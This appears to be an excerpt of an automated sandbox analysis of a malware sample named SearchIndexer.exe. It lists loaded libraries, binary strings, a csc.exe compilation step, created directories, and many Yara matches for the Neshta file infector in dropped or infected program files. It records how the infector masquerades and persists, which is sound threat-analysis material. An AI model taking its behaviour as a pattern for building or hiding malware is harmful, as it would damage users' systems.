                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Users\user\Desktop\SearchIndexer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
                              Source: Window RecorderWindow detected: More than 3 window changes detected
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDirectory created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDirectory created: C:\Program Files\Windows Photo Viewer\9e8d7a4ca61bd9Jump to behavior
                              Source: SearchIndexer.exeStatic file information: File size 3746304 > 1048576
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
                              Source: Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdbOGP source: msedge_pwa_launcher.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb source: CLVIEW.EXE.0.dr
                              Source: Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdb source: msedge_pwa_launcher.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
                              Source: Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.0.dr
                              Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
                              Source: Binary string: r.pdb source: AppSharingHookController.exe.0.dr
                              Source: Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.0.dr
                              Source: Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.0.dr
                              Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.0.dr
                              Source: Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
                              Source: Binary string: 7C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.pdb source: SearchIndexer.exe, 00000001.00000002.1913109715.0000000003888000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CLVIEW.EXE.0.dr
                              Source: Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
                              Source: Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
                              Source: Binary string: lper.pdb source: SDXHelper.exe.0.dr
                              Source: Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline"
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline"Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeCode function: 0_3_022370AF push eax; ret 0_3_022370B3
                              Source: C:\Users\user\Desktop\SearchIndexer.exeCode function: 0_3_022377BA push eax; ret 0_3_022377BE
                              Source: C:\Users\user\Desktop\SearchIndexer.exeCode function: 0_3_022373DE push eax; ret 0_3_022373E2
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B8953E3 push ds; ret 1_2_00007FFD9B8953F3
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B894BB0 push ebp; retf 1_2_00007FFD9B894BBC
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B89611B pushad ; ret 1_2_00007FFD9B89612D
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B8C5C7E push edi; retf 1_2_00007FFD9B8C5C86
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B9F340D push ss; ret 1_2_00007FFD9B9F340E
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B9F2D05 push ds; retf 0009h1_2_00007FFD9B9F2D06
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC5542C push ss; iretd 1_2_00007FFD9BC5557A
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC55BA4 pushad ; iretd 1_2_00007FFD9BC55BC2
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC55BC4 pushad ; iretd 1_2_00007FFD9BC55BC2
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC55ACF push ebp; iretd 1_2_00007FFD9BC55AC2
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC55A81 push edx; iretd 1_2_00007FFD9BC55A82
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC55A84 push ebp; iretd 1_2_00007FFD9BC55AC2
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC5795D push ebx; retf 1_2_00007FFD9BC5796A
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeCode function: 51_2_00007FFD9B8A53E3 push ds; ret 51_2_00007FFD9B8A53F3
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeCode function: 51_2_00007FFD9B8A4BB0 push ebp; retf 51_2_00007FFD9B8A4BBC
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeCode function: 51_2_00007FFD9B8A611B pushad ; ret 51_2_00007FFD9B8A612D
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeCode function: 53_2_00007FFD9B8953E3 push ds; ret 53_2_00007FFD9B8953F3
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeCode function: 53_2_00007FFD9B894BB0 push ebp; retf 53_2_00007FFD9B894BBC
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeCode function: 53_2_00007FFD9B89611B pushad ; ret 53_2_00007FFD9B89612D
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 56_2_00007FFD9B8753E3 push ds; ret 56_2_00007FFD9B8753F3
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 56_2_00007FFD9B874BB0 push ebp; retf 56_2_00007FFD9B874BBC
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 56_2_00007FFD9B87611B pushad ; ret 56_2_00007FFD9B87612D
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 56_2_00007FFD9B8700BD pushad ; iretd 56_2_00007FFD9B8700C1
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeCode function: 59_2_00007FFD9B8953E3 push ds; ret 59_2_00007FFD9B8953F3
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeCode function: 59_2_00007FFD9B894BB0 push ebp; retf 59_2_00007FFD9B894BBC
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeCode function: 59_2_00007FFD9B89611B pushad ; ret 59_2_00007FFD9B89612D

                              Persistence and Installation Behavior

                              barindex
                              Yara detected Neshta
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.SearchIndexer.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000034.00000002.2186722542.0000000000409000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.2762934153.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: SearchIndexer.exe PID: 6636, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: svchost.com PID: 9192, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Windows\svchost.com, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
